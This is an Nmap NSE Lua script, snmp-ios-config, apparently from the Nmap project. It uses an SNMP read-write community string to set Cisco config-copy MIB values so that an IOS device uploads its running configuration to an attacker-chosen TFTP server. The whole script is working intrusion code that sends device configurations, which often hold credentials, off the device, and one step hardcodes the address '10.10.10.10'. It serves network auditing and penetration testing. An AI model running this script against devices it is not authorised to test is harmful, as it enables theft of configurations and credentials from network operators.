description = [[ Download IOS configuration using SNMP RW (v1) string ]] --- -- @args snmpcommunity - the community to use for download, this can also be used from snmp-brute or default is public -- @args tftpserver - the tftp server to copy configuration file to (without this script will not run) -- @usage -- nmap --script snmp-ios-config --script-args [snmpcommunity=private,]tftpserver= -- @output -- | snmp-ios-config: "IOS configuration downloaded with filename TARGETIP-config to TFTP server *tftpserver* author = "Vikas Singhal" license = "Same as Nmap--See http://nmap.org/book/man-legal.html" categories = {"intrusive"} dependencies = {"snmp-brute"} require "shortport" require "snmp" portrule = shortport.portnumber(161, "udp", {"open", "open|filtered"}) --- -- Sends SNMP packets to host and reads responses action = function(host, port) stdnse.print_debug("tftpserver: %s", nmap.registry.args.tftpserver) if ( not(nmap.registry.args.tftpserver) ) then return end local tftpserver tftpserver = nmap.registry.args.tftpserver -- create the socket used for our connection local socket = nmap.new_socket() -- set a reasonable timeout value socket:set_timeout(5000) -- do some exception handling / cleanup local catch = function() socket:close() end local try = nmap.new_try(catch) -- connect to the potential SNMP system try(socket:connect(host.ip, port.number, "udp")) local payload -- build a SNMP v1 packet -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.2.9999 (ConfigCopyProtocol is set to TFTP [1] ) local options = {} options.reqId = 12123 -- unnecessary? payload = snmp.encode(snmp.buildPacket(snmp.buildSetRequest(options, ".1.3.6.1.4.1.9.9.96.1.1.1.1.2.9999",1))) try(socket:send(payload)) local status local response -- read in any response we might get status, response = socket:receive_bytes(1) if (not status) or (response == "TIMEOUT") then return end -- since we got something back, the port is definitely open nmap.set_port_state(host, port, "open") local result result = snmp.fetchFirst(response) ------------------------------------------------- -- build a SNMP v1 packet -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.3 (SourceFileType is set to running-config [4] ) local options = {} options.reqId = 28428 -- unnecessary? payload = snmp.encode(snmp.buildPacket(snmp.buildSetRequest(options, ".1.3.6.1.4.1.9.9.96.1.1.1.1.3.9999",4))) try(socket:send(payload)) local status local response -- read in any response we might get status, response = socket:receive_bytes(1) if (not status) or (response == "TIMEOUT") then return end local result result = snmp.fetchFirst(response) ------------------------------------------------- -- build a SNMP v1 packet -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.4 (DestinationFileType is set to networkfile [1] ) local options = {} options.reqId = 28428 -- unnecessary? payload = snmp.encode(snmp.buildPacket(snmp.buildSetRequest(options, ".1.3.6.1.4.1.9.9.96.1.1.1.1.4.9999",1))) try(socket:send(payload)) local status local response -- read in any response we might get status, response = socket:receive_bytes(1) if (not status) or (response == "TIMEOUT") then return end local result result = snmp.fetchFirst(response) result = result .. " " .. result ------------------------------------------------- -- build a SNMP v1 packet -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.15 (ServerAddress is set to the IP address of the TFTP server ) local options = {} options.reqId = 28428 -- unnecessary? payload = snmp.encode(snmp.buildPacket(snmp.buildSetRequest(options, ".1.3.6.1.4.1.9.9.96.1.1.1.1.5.9999",tftpserver))) try(socket:send(payload)) local status local response -- read in any response we might get status, response = socket:receive_bytes(1) if (not status) or (response == "TIMEOUT") then return end local result result = snmp.fetchFirst(response) result = result .. " " .. result ------------------------------------------------- -- build a SNMP v1 packet -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.15 (ServerAddressType is set 1 for ipv4 ) -- more options - 1:ipv4, 2:ipv6, 3:ipv4z, 4:ipv6z, 16:dns local options = {} options.reqId = 28428 -- unnecessary? payload = snmp.encode(snmp.buildPacket(snmp.buildSetRequest(options, ".1.3.6.1.4.1.9.9.96.1.1.1.1.15.9999",1))) try(socket:send(payload)) local status local response -- read in any response we might get status, response = socket:receive_bytes(1) if (not status) or (response == "TIMEOUT") then return end local result result = snmp.fetchFirst(response) result = result .. " " .. result ------------------------------------------------- -- build a SNMP v1 packet -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.16 (ServerAddress is set to the IP address of the TFTP server ) local options = {} options.reqId = 28428 -- unnecessary? payload = snmp.encode(snmp.buildPacket(snmp.buildSetRequest(options, ".1.3.6.1.4.1.9.9.96.1.1.1.1.16.9999","10.10.10.10"))) try(socket:send(payload)) local status local response -- read in any response we might get status, response = socket:receive_bytes(1) if (not status) or (response == "TIMEOUT") then return end local result result = snmp.fetchFirst(response) result = result .. " " .. result ------------------------------------------------- -- build a SNMP v1 packet -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.6 (CopyFilename is set to IP-config) local options = {} options.reqId = 28428 -- unnecessary? payload = snmp.encode(snmp.buildPacket(snmp.buildSetRequest(options, ".1.3.6.1.4.1.9.9.96.1.1.1.1.6.9999",host.ip .. "-config"))) try(socket:send(payload)) local status local response -- read in any response we might get status, response = socket:receive_bytes(1) if (not status) or (response == "TIMEOUT") then return end local result result = snmp.fetchFirst(response) result = result .. " " .. result ------------------------------------------------- -- build a SNMP v1 packet -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.14 (Start copying by setting CopyStatus to active [1]) local options = {} options.reqId = 28428 -- unnecessary? payload = snmp.encode(snmp.buildPacket(snmp.buildSetRequest(options, ".1.3.6.1.4.1.9.9.96.1.1.1.1.14.9999",1))) try(socket:send(payload)) local status local response -- read in any response we might get status, response = socket:receive_bytes(1) if (not status) or (response == "TIMEOUT") then return end local result result = snmp.fetchFirst(response) result = result .. " " .. result -- wait for sometime and print the status of filetransfer stdnse.sleep(5) -- build a SNMP v1 packet -- get value: .1.3.6.1.4.1.9.9.96.1.1.1.1.10 (Check the status of filetransfer) 1:waiting, 2:running, 3:successful, 4:failed local options = {} options.reqId = 28428 payload = snmp.encode(snmp.buildPacket(snmp.buildGetRequest(options, ".1.3.6.1.4.1.9.9.96.1.1.1.1.10.9999"))) try(socket:send(payload)) -- read in any response we might get status, response = socket:receive_bytes(1) if (not status) or (response == "TIMEOUT") then return result end try(socket:close()) local result result = snmp.fetchFirst(response) if result == 3 then result = "IOS configuration downloaded with filename " .. host.ip .. "-config" .. " to " .. " TFTP server " .. tftpserver else result = "Not successful! error code: " .. result .. " (1:waiting, 2:running, 3:successful, 4:failed)" end -- TODO: Clear out the MIBS after you get code 3 or 4 return result end